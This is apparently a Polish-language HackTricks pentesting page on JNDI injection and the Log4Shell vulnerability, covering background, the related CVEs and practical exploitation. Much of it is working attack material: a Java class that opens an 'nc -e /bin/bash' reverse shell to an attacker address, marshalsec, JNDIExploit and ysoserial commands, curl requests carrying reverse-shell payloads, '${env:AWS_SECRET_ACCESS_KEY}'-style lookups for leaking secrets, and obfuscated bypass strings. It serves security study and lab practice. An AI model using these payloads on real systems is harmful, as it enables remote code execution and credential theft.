JNDI - Java Naming and Directory Interface & Log4Shell

Wsparcie dla HackTricks

Try Hard Security Group


Podstawowe informacje

JNDI, zintegrowane z Javą od końca lat 90-tych, służy jako usługa katalogowa, umożliwiając programom Java lokalizowanie danych lub obiektów za pomocą systemu nazw. Obsługuje różne usługi katalogowe za pośrednictwem interfejsów dostawców usług (SPI), umożliwiając pobieranie danych z różnych systemów, w tym zdalnych obiektów Java. Powszechne SPI to CORBA COS, Java RMI Registry i LDAP.

Odniesienie do nazw JNDI

Obiekty Java mogą być przechowywane i pobierane za pomocą Odniesień do nazw JNDI, które występują w dwóch formach:

  • Adresy odniesienia: Określa lokalizację obiektu (np. rmi://server/ref), umożliwiając bezpośrednie pobranie z określonego adresu.

  • Zdalna fabryka: Odnosi się do zdalnej klasy fabryki. Po uzyskaniu dostępu klasa jest pobierana i instancjonowana z zdalnej lokalizacji.

Jednak ten mechanizm może być wykorzystywany, co może prowadzić do ładowania i wykonywania dowolnego kodu. Jako środek zaradczy:

  • RMI: java.rmi.server.useCodeabseOnly = true domyślnie od JDK 7u21, ograniczając ładowanie zdalnych obiektów. Menedżer bezpieczeństwa dodatkowo ogranicza to, co może być ładowane.

  • LDAP: com.sun.jndi.ldap.object.trustURLCodebase = false domyślnie od JDK 6u141, 7u131, 8u121, blokując wykonywanie zdalnie ładowanych obiektów Java. Jeśli ustawione na true, możliwe jest wykonanie zdalnego kodu bez nadzoru Menedżera bezpieczeństwa.

  • CORBA: Nie ma konkretnej właściwości, ale Menedżer bezpieczeństwa jest zawsze aktywny.

Jednak Menedżer nazw, odpowiedzialny za rozwiązywanie linków JNDI, nie ma wbudowanych mechanizmów zabezpieczających, co może pozwolić na pobieranie obiektów z dowolnego źródła. Stanowi to ryzyko, ponieważ zabezpieczenia RMI, LDAP i CORBA mogą być omijane, co prowadzi do ładowania dowolnych obiektów Java lub wykorzystywania istniejących komponentów aplikacji (gadżetów) do uruchamiania złośliwego kodu.

Przykłady podatnych adresów URL to:

  • rmi://attacker-server/bar

  • ldap://attacker-server/bar

  • iiop://attacker-server/bar

Pomimo zabezpieczeń, luki w zabezpieczeniach pozostają, głównie z powodu braku zabezpieczeń przed ładowaniem JNDI z nieufnych źródeł oraz możliwości ominięcia istniejących zabezpieczeń.

Przykład JNDI

Nawet jeśli ustawiłeś PROVIDER_URL, możesz wskazać inny w wyszukiwaniu, a zostanie on użyty: ctx.lookup("<attacker-controlled-url>") i to jest to, co napastnik wykorzysta do ładowania dowolnych obiektów z systemu, którym zarządza.

Przegląd CORBA

CORBA (Common Object Request Broker Architecture) wykorzystuje Interoperable Object Reference (IOR) do unikalnej identyfikacji zdalnych obiektów. To odniesienie zawiera istotne informacje, takie jak:

  • ID typu: Unikalny identyfikator dla interfejsu.

  • Codebase: URL do uzyskania klasy stub.

Warto zauważyć, że CORBA nie jest z natury podatna na ataki. Zapewnienie bezpieczeństwa zazwyczaj obejmuje:

  • Instalację Menedżera bezpieczeństwa.

  • Konfigurację Menedżera bezpieczeństwa w celu zezwolenia na połączenia z potencjalnie złośliwymi bazami kodu. Można to osiągnąć poprzez:

  • Uprawnienia do gniazd, np. permissions java.net.SocketPermission "*:1098-1099", "connect";.

  • Uprawnienia do odczytu plików, albo uniwersalnie (permission java.io.FilePermission "<<ALL FILES>>", "read";), albo dla konkretnych katalogów, w których mogą być umieszczone złośliwe pliki.

Jednak niektóre polityki dostawców mogą być pobłażliwe i domyślnie zezwalać na te połączenia.

Kontekst RMI

W przypadku RMI (Remote Method Invocation) sytuacja jest nieco inna. Podobnie jak w przypadku CORBA, pobieranie dowolnych klas jest domyślnie ograniczone. Aby wykorzystać RMI, zazwyczaj trzeba by obejść Menedżera bezpieczeństwa, co jest również istotne w CORBA.

LDAP

Przede wszystkim musimy rozróżnić między Wyszukiwaniem a Wyszukiwaniem. Wyszukiwanie użyje URL, takiego jak ldap://localhost:389/o=JNDITutorial, aby znaleźć obiekt JNDITutorial z serwera LDAP i pobrać jego atrybuty. Wyszukiwanie jest przeznaczone do usług nazw, ponieważ chcemy uzyskać wszystko, co jest powiązane z nazwą.

Jeśli wyszukiwanie LDAP zostało wywołane z SearchControls.setReturningObjFlag() z true, to zwrócony obiekt zostanie zrekonstruowany.

Dlatego istnieje kilka sposobów ataku na te opcje. Napastnik może zanieczyścić rekordy LDAP, wprowadzając ładunki na nich, które będą wykonywane w systemach, które je zbierają (bardzo przydatne do kompromitacji dziesiątek maszyn, jeśli masz dostęp do serwera LDAP). Innym sposobem na wykorzystanie tego byłoby przeprowadzenie ataku MitM w wyszukiwaniu LDAP, na przykład.

W przypadku, gdy możesz sprawić, aby aplikacja rozwiązała URL JNDI LDAP, możesz kontrolować LDAP, który będzie przeszukiwany, i możesz odesłać exploit (log4shell).

Exploit deserializacji

Exploit jest serializowany i będzie deserializowany. W przypadku, gdy trustURLCodebase jest true, napastnik może dostarczyć swoje własne klasy w bazie kodu, jeśli nie, będzie musiał wykorzystać gadżety w classpath.

Exploit odniesienia JNDI

Łatwiej jest zaatakować ten LDAP, używając odniesień JavaFactory:

Luka w Log4Shell

Luka została wprowadzona w Log4j, ponieważ obsługuje specjalną składnię w formie ${prefix:name}, gdzie prefix jest jednym z wielu różnych Wyszukiwań, które powinny być oceniane. Na przykład, ${java:version} to aktualnie działająca wersja Javy.

LOG4J2-313 wprowadziło funkcję Wyszukiwania jndi. Ta funkcja umożliwia pobieranie zmiennych przez JNDI. Zazwyczaj klucz jest automatycznie poprzedzany java:comp/env/. Jednak jeśli sam klucz zawiera ":", ten domyślny prefiks nie jest stosowany.

Gdy w kluczu znajduje się :, jak w ${jndi:ldap://example.com/a}, nie ma prefiksu i serwer LDAP jest zapytany o obiekt. A te Wyszukiwania mogą być używane zarówno w konfiguracji Log4j, jak i podczas rejestrowania linii.

Dlatego jedyną rzeczą potrzebną do uzyskania RCE jest podatna wersja Log4j przetwarzająca informacje kontrolowane przez użytkownika. A ponieważ jest to biblioteka szeroko stosowana przez aplikacje Java do rejestrowania informacji (w tym aplikacje dostępne w Internecie), bardzo powszechne było, aby log4j rejestrował na przykład nagłówki HTTP, takie jak User-Agent. Jednak log4j nie jest używane tylko do rejestrowania informacji HTTP, ale wszelkich danych i danych, które wskazał programista.

Przegląd CVE związanych z Log4Shell

CVE-2021-44228 [Krytyczne]

Ta luka jest krytyczną wadą nieufnej deserializacji w komponencie log4j-core, wpływającą na wersje od 2.0-beta9 do 2.14.1. Umożliwia zdalne wykonanie kodu (RCE), umożliwiając napastnikom przejęcie systemów. Problem został zgłoszony przez Chena Zhaojuna z zespołu bezpieczeństwa Alibaba Cloud i wpływa na różne frameworki Apache. Początkowa poprawka w wersji 2.15.0 była niekompletna. Zasady Sigma dla obrony są dostępne (Reguła 1, Reguła 2).

CVE-2021-45046 [Krytyczne]

Początkowo oceniana jako niska, ale później podniesiona do krytycznej, ta CVE jest wadą Denial of Service (DoS) wynikającą z niekompletnej poprawki w 2.15.0 dla CVE-2021-44228. Dotyczy to konfiguracji nie domyślnych, umożliwiając napastnikom powodowanie ataków DoS za pomocą stworzonych ładunków. Tweet pokazuje metodę obejścia. Problem został rozwiązany w wersjach 2.16.0 i 2.12.2 poprzez usunięcie wzorców wyszukiwania wiadomości i domyślne wyłączenie JNDI.

CVE-2021-4104 [Wysokie]

Dotyczy wersji Log4j 1.x w konfiguracjach nie domyślnych używających JMSAppender, ta CVE jest wadą nieufnej deserializacji. Nie ma dostępnej poprawki dla gałęzi 1.x, która jest już nieaktualna, a zaleca się aktualizację do log4j-core 2.17.0.

CVE-2021-42550 [Umiarkowane]

Ta luka dotyczy frameworka logowania Logback, następcy Log4j 1.x. Wcześniej uważany za bezpieczny, framework okazał się podatny, a nowsze wersje (1.3.0-alpha11 i 1.2.9) zostały wydane w celu rozwiązania problemu.

CVE-2021-45105 [Wysokie]

Log4j 2.16.0 zawiera wadę DoS, co skłoniło do wydania log4j 2.17.0 w celu naprawy CVE. Dalsze szczegóły znajdują się w raporcie BleepingComputer tutaj.

Dotyczy wersji log4j 2.17, ta CVE wymaga, aby napastnik kontrolował plik konfiguracyjny log4j. Dotyczy to potencjalnego zdalnego wykonania kodu za pośrednictwem skonfigurowanego JDBCAppender. Więcej szczegółów znajduje się w poście na blogu Checkmarx.

Wykorzystanie Log4Shell

Odkrycie

Ta luka jest bardzo łatwa do odkrycia, jeśli jest niechroniona, ponieważ wyśle co najmniej żądanie DNS do adresu, który wskażesz w swoim ładunku. Dlatego ładunki takie jak:

  • ${jndi:ldap://x${hostName}.L4J.lt4aev8pktxcq2qlpdr5qu5ya.canarytokens.com/a} (używając canarytokens.com)

  • ${jndi:ldap://c72gqsaum5n94mgp67m0c8no4hoyyyyyn.interact.sh} (używając interactsh)

  • ${jndi:ldap://abpb84w6lqp66p0ylo715m5osfy5mu.burpcollaborator.net} (używając Burp Suite)

  • ${jndi:ldap://2j4ayo.dnslog.cn} (używając dnslog)

  • ${jndi:ldap://log4shell.huntress.com:1389/hostname=${env:HOSTNAME}/fe47f5ee-efd7-42ee-9897-22d18976c520} (używając huntress)

Zauważ, że nawet jeśli otrzymano żądanie DNS, to nie oznacza, że aplikacja jest podatna (ani nawet wrażliwa), będziesz musiał spróbować ją wykorzystać.

Pamiętaj, że aby wykorzystać wersję 2.15, musisz dodać obejście sprawdzania localhost: ${jndi:ldap://127.0.0.1#...}

Odkrycie lokalne

Szukaj lokalnych podatnych wersji biblioteki za pomocą:

find / -name "log4j-core*.jar" 2>/dev/null | grep -E "log4j\-core\-(1\.[^0]|2\.[0-9][^0-9]|2\.1[0-6])"

Weryfikacja

Niektóre z wcześniej wymienionych platform pozwolą Ci na wprowadzenie zmiennych danych, które będą rejestrowane, gdy zostaną zażądane. Może to być bardzo przydatne w 2 rzeczach:

  • Aby zweryfikować podatność

  • Aby ekstrahować informacje wykorzystując podatność

Na przykład możesz zażądać czegoś takiego: lub jak ${jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a} i jeśli żądanie DNS zostanie odebrane z wartością zmiennej env, wiesz, że aplikacja jest podatna.

Inne informacje, które możesz spróbować wyciek:

${env:AWS_ACCESS_KEY_ID}
${env:AWS_CONFIG_FILE}
${env:AWS_PROFILE}
${env:AWS_SECRET_ACCESS_KEY}
${env:AWS_SESSION_TOKEN}
${env:AWS_SHARED_CREDENTIALS_FILE}
${env:AWS_WEB_IDENTITY_TOKEN_FILE}
${env:HOSTNAME}
${env:JAVA_VERSION}
${env:PATH}
${env:USER}
${hostName}
${java.vendor}
${java:os}
${java:version}
${log4j:configParentLocation}
${sys:PROJECT_HOME}
${sys:file.separator}
${sys:java.class.path}
${sys:java.class.path}
${sys:java.class.version}
${sys:java.compiler}
${sys:java.ext.dirs}
${sys:java.home}
${sys:java.io.tmpdir}
${sys:java.library.path}
${sys:java.specification.name}
${sys:java.specification.vendor}
${sys:java.specification.version}
${sys:java.vendor.url}
${sys:java.vendor}
${sys:java.version}
${sys:java.vm.name}
${sys:java.vm.specification.name}
${sys:java.vm.specification.vendor}
${sys:java.vm.specification.version}
${sys:java.vm.vendor}
${sys:java.vm.version}
${sys:line.separator}
${sys:os.arch}
${sys:os.name}
${sys:os.version}
${sys:path.separator}
${sys:user.dir}
${sys:user.home}
${sys:user.name}

Any other env variable name that could store sensitive information

RCE Information

Hosty działające na wersjach JDK powyżej 6u141, 7u131 lub 8u121 są zabezpieczone przed wektorem ataku ładowania klas LDAP. Wynika to z domyślnej dezaktywacji com.sun.jndi.ldap.object.trustURLCodebase, która zapobiega ładowaniu zdalnej bazy kodu przez JNDI za pośrednictwem LDAP. Jednak ważne jest, aby zauważyć, że te wersje nie są chronione przed wektorem ataku deserializacji.

Dla atakujących, którzy chcą wykorzystać te wyższe wersje JDK, konieczne jest wykorzystanie zaufanego gadżetu w aplikacji Java. Narzędzia takie jak ysoserial lub JNDIExploit są często używane w tym celu. Z drugiej strony, wykorzystanie niższych wersji JDK jest stosunkowo łatwiejsze, ponieważ te wersje można manipulować, aby ładować i wykonywać dowolne klasy.

Dla więcej informacji (jak ograniczenia dotyczące wektorów RMI i CORBA) sprawdź poprzednią sekcję JNDI Naming Reference lub https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/

RCE - Marshalsec z niestandardowym ładunkiem

Możesz to przetestować w THM box: https://tryhackme.com/room/solar

Użyj narzędzia marshalsec (wersja jar dostępna tutaj). To podejście ustanawia serwer referencyjny LDAP, aby przekierować połączenia do drugiego serwera HTTP, na którym będzie hostowany exploit:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://<your_ip_http_server>:8000/#Exploit"

Aby skłonić cel do załadowania kodu reverse shell, stwórz plik Java o nazwie Exploit.java z poniższą zawartością:

public class Exploit {
static {
try {
java.lang.Runtime.getRuntime().exec("nc -e /bin/bash YOUR.ATTACKER.IP.ADDRESS 9999");
} catch (Exception e) {
e.printStackTrace();
}
}
}

Skompiluj plik Java do pliku klasowego za pomocą: javac Exploit.java -source 8 -target 8. Następnie uruchom serwer HTTP w katalogu zawierającym plik klasowy za pomocą: python3 -m http.server. Upewnij się, że serwer LDAP marshalsec odnosi się do tego serwera HTTP.

Wywołaj wykonanie klasy exploit na podatnym serwerze WWW, wysyłając ładunek przypominający:

${jndi:ldap://<LDAP_IP>:1389/Exploit}

Uwaga: Ten exploit opiera się na konfiguracji Javy, która pozwala na ładowanie zdalnych baz kodu za pomocą LDAP. Jeśli to nie jest dozwolone, rozważ wykorzystanie zaufanej klasy do wykonania dowolnego kodu.

RCE - JNDIExploit

Zauważ, że z jakiegoś powodu autor usunął ten projekt z githuba po odkryciu log4shell. Możesz znaleźć wersję w pamięci podręcznej pod adresem https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2, ale jeśli chcesz uszanować decyzję autora, użyj innej metody, aby wykorzystać tę lukę.

Ponadto, nie możesz znaleźć kodu źródłowego w wayback machine, więc albo przeanalizuj kod źródłowy, albo uruchom jar, wiedząc, że nie wiesz, co uruchamiasz.

W tym przykładzie możesz po prostu uruchomić ten vulnerable web server to log4shell na porcie 8080: https://github.com/christophetd/log4shell-vulnerable-app (w README znajdziesz, jak to uruchomić). Ta podatna aplikacja rejestruje z podatną wersją log4shell zawartość nagłówka żądania HTTP X-Api-Version.

Następnie możesz pobrać plik jar JNDIExploit i wykonać go za pomocą:

wget https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.17.0.1 -p 8888 # Use your private IP address and a port where the victim will be able to access

Po przeczytaniu kodu przez zaledwie kilka minut, w com.feihong.ldap.LdapServer i com.feihong.ldap.HTTPServer można zobaczyć, jak tworzone są serwery LDAP i HTTP. Serwer LDAP zrozumie, jaki ładunek należy dostarczyć i przekieruje ofiarę do serwera HTTP, który dostarczy exploit. W com.feihong.ldap.gadgets można znaleźć niektóre specyficzne gadżety, które mogą być użyte do wykonania pożądanej akcji (potencjalnie wykonania dowolnego kodu). A w com.feihong.ldap.template można zobaczyć różne klasy szablonów, które generują exploity.

Możesz zobaczyć wszystkie dostępne exploity za pomocą java -jar JNDIExploit-1.2-SNAPSHOT.jar -u. Niektóre przydatne to:

ldap://null:1389/Basic/Dnslog/[domain]
ldap://null:1389/Basic/Command/Base64/[base64_encoded_cmd]
ldap://null:1389/Basic/ReverseShell/[ip]/[port]
# But there are a lot more

Więc w naszym przykładzie mamy już uruchomioną tę podatną aplikację docker. Aby ją zaatakować:

# Create a file inside of th vulnerable host:
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'

# Get a reverse shell (only unix)
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/ReverseShell/172.17.0.1/4444}'
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/bmMgMTcyLjE3LjAuMSA0NDQ0IC1lIC9iaW4vc2gK}'

Kiedy wysyłasz ataki, zobaczysz pewne wyjście w terminalu, w którym uruchomiłeś JNDIExploit-1.2-SNAPSHOT.jar.

Pamiętaj, aby sprawdzić java -jar JNDIExploit-1.2-SNAPSHOT.jar -u w poszukiwaniu innych opcji eksploatacji. Ponadto, w razie potrzeby, możesz zmienić port serwerów LDAP i HTTP.

RCE - JNDI-Exploit-Kit

W podobny sposób jak w poprzednim exploicie, możesz spróbować użyć JNDI-Exploit-Kit do wykorzystania tej luki. Możesz wygenerować adresy URL do wysłania do ofiary, uruchamiając:

# Get reverse shell in port 4444 (only unix)
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -S 172.17.0.1:4444

# Execute command
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -C "touch /tmp/log4shell"

Atak ten wykorzystujący niestandardowy obiekt java będzie działał w laboratoriach takich jak THM solar room. Jednakże, zazwyczaj nie zadziała (ponieważ domyślnie Java nie jest skonfigurowana do ładowania zdalnych baz kodu za pomocą LDAP), myślę, że to dlatego, że nie nadużywa zaufanej klasy do wykonywania dowolnego kodu.

RCE - JNDI-Injection-Exploit-Plus

https://github.com/cckuailong/JNDI-Injection-Exploit-Plus to kolejne narzędzie do generowania działających linków JNDI i zapewniania usług w tle poprzez uruchomienie serwera RMI, serwera LDAP i serwera HTTP.\

RCE - ysoserial & JNDI-Exploit-Kit

Ta opcja jest naprawdę przydatna do atakowania wersji Java skonfigurowanych do zaufania tylko określonym klasom, a nie wszystkim. Dlatego ysoserial będzie używany do generowania serializacji zaufanych klas, które mogą być używane jako gadżety do wykonywania dowolnego kodu (zaufana klasa nadużywana przez ysoserial musi być używana przez program java ofiary, aby exploit zadziałał).

Używając ysoserial lub ysoserial-modified możesz stworzyć exploit deserializacji, który zostanie pobrany przez JNDI:

# Rev shell via CommonsCollections5
java -jar ysoserial-modified.jar CommonsCollections5 bash 'bash -i >& /dev/tcp/10.10.14.10/7878 0>&1' > /tmp/cc5.ser

Użyj JNDI-Exploit-Kit, aby wygenerować linki JNDI, gdzie exploit będzie czekał na połączenia z podatnymi maszynami. Możesz serwować różne exploity, które mogą być automatycznie generowane przez JNDI-Exploit-Kit lub nawet własne ładunki deserializacji (wygenerowane przez Ciebie lub ysoserial).

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 10.10.14.10:1389 -P /tmp/cc5.ser

Teraz możesz łatwo użyć wygenerowanego linku JNDI, aby wykorzystać lukę i uzyskać reverse shell, wysyłając do podatnej wersji log4j: ${ldap://10.10.14.10:1389/generated}

Ominięcia

${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//attackerendpoint.com/}
${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://attackerendpoint.com/}
${${upper:j}ndi:${upper:l}${upper:d}a${lower:p}://attackerendpoint.com/}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://attackerendpoint.com/z}
${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attackerendpoint.com/}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://attackerendpoint.com/}
${${::-j}ndi:rmi://attackerendpoint.com/} //Notice the use of rmi
${${::-j}ndi:dns://attackerendpoint.com/} //Notice the use of dns
${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"

Automatyczne skanery

Laboratoria do testowania

Eksploatacja po Log4Shell

W tym opisie CTF dobrze wyjaśniono, jak potencjalnie możliwe jest nadużycie niektórych funkcji Log4J.

Strona bezpieczeństwa Log4j zawiera kilka interesujących zdań:

Od wersji 2.16.0 (dla Java 8), funkcja wyszukiwania wiadomości została całkowicie usunięta. Wyszukiwania w konfiguracji nadal działają. Ponadto, Log4j teraz domyślnie wyłącza dostęp do JNDI. Wyszukiwania JNDI w konfiguracji muszą być teraz włączone jawnie.

Od wersji 2.17.0 (oraz 2.12.3 i 2.3.1 dla Java 7 i Java 6), tylko ciągi wyszukiwania w konfiguracji są rozwijane rekurencyjnie; w każdym innym użyciu, tylko wyszukiwanie na najwyższym poziomie jest rozwiązywane, a wszelkie zagnieżdżone wyszukiwania nie są rozwiązywane.

Oznacza to, że domyślnie możesz zapomnieć o używaniu jakiejkolwiek exploita jndi. Co więcej, aby przeprowadzić rekurencyjne wyszukiwania, musisz je skonfigurować.

Na przykład, w tym CTF było to skonfigurowane w pliku log4j2.xml:

<Console name="Console" target="SYSTEM_ERR">
<PatternLayout pattern="%d{HH:mm:ss.SSS} %-5level %logger{36} executing ${sys:cmd} - %msg %n">
</PatternLayout>
</Console>

Env Lookups

W tym CTF atakujący kontrolował wartość ${sys:cmd} i musiał wyekstrahować flagę z zmiennej środowiskowej. Jak widać na tej stronie w poprzednich ładunkach, istnieje kilka sposobów dostępu do zmiennych środowiskowych, takich jak: ${env:FLAG}. W tym CTF to było bezużyteczne, ale może nie być w innych rzeczywistych scenariuszach.

Exfiltration in Exceptions

W CTF nie mogłeś uzyskać dostępu do stderr aplikacji java używającej log4J, ale wyjątki Log4J są wysyłane do stdout, co było drukowane w aplikacji python. Oznaczało to, że wywołując wyjątek, mogliśmy uzyskać dostęp do treści. Wyjątek do wyekstrahowania flagi to: ${java:${env:FLAG}}. Działa to, ponieważ ${java:CTF{blahblah}} nie istnieje, a wyjątek z wartością flagi zostanie pokazany:

Conversion Patterns Exceptions

Tylko aby to wspomnieć, można również wstrzyknąć nowe wzorce konwersji i wywołać wyjątki, które będą rejestrowane w stdout. Na przykład:

To nie było uznawane za przydatne do wyekstrahowania danych wewnątrz komunikatu o błędzie, ponieważ wyszukiwanie nie zostało rozwiązane przed wzorcem konwersji, ale mogłoby być przydatne do innych rzeczy, takich jak wykrywanie.

Conversion Patterns Regexes

Jednak możliwe jest użycie niektórych wzorców konwersji, które obsługują regexy, aby wyekstrahować informacje z wyszukiwania, używając regexów i nadużywając wyszukiwania binarnego lub zachowań opartych na czasie.

  • Wyszukiwanie binarne za pomocą komunikatów o wyjątkach

Wzorzec konwersji %replace może być użyty do zamiany treści w ciągu nawet przy użyciu regexów. Działa to w ten sposób: replace{pattern}{regex}{substitution} Nadużywając tego zachowania, można sprawić, że zamiana wywoła wyjątek, jeśli regex dopasuje cokolwiek w ciągu (i brak wyjątku, jeśli nie zostanie znalezione) w ten sposób:

%replace{${env:FLAG}}{^CTF.*}{${error}}
# The string searched is the env FLAG, the regex searched is ^CTF.*
## and ONLY if it's found ${error} will be resolved with will trigger an exception
  • Czasowe

Jak wspomniano w poprzedniej sekcji, %replace obsługuje regexy. Możliwe jest więc użycie ładunku z strony ReDoS, aby spowodować przekroczenie czasu w przypadku znalezienia flagi. Na przykład ładunek taki jak %replace{${env:FLAG}}{^(?=CTF)((.))*salt$}{asd} spowodowałby przekroczenie czasu w tym CTF.

W tym opisie, zamiast używać ataku ReDoS, użyto ataku amplifikacyjnego, aby spowodować różnicę czasową w odpowiedzi:

/%replace{
%replace{
%replace{
%replace{
%replace{
%replace{
%replace{${ENV:FLAG}}{CTF\{" + flagGuess + ".*\}}{#############################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}

Jeśli flaga zaczyna się od flagGuess, cała flaga jest zastępowana 29 #-ami (użyłem tego znaku, ponieważ prawdopodobnie nie będzie częścią flagi). Każdy z 29 #-ów jest następnie zastępowany przez 54 #-y. Proces ten powtarza się 6 razy, co prowadzi do łącznej liczby 29*54*54^6* =`` ``96816014208 #-ów!

Zastąpienie tak wielu #-ów spowoduje wywołanie 10-sekundowego limitu czasu aplikacji Flask, co z kolei skutkuje wysłaniem kodu statusu HTTP 500 do użytkownika. (Jeśli flaga nie zaczyna się od flagGuess, otrzymamy kod statusu inny niż 500)

Odniesienia

Try Hard Security Group

Wsparcie HackTricks

Last updated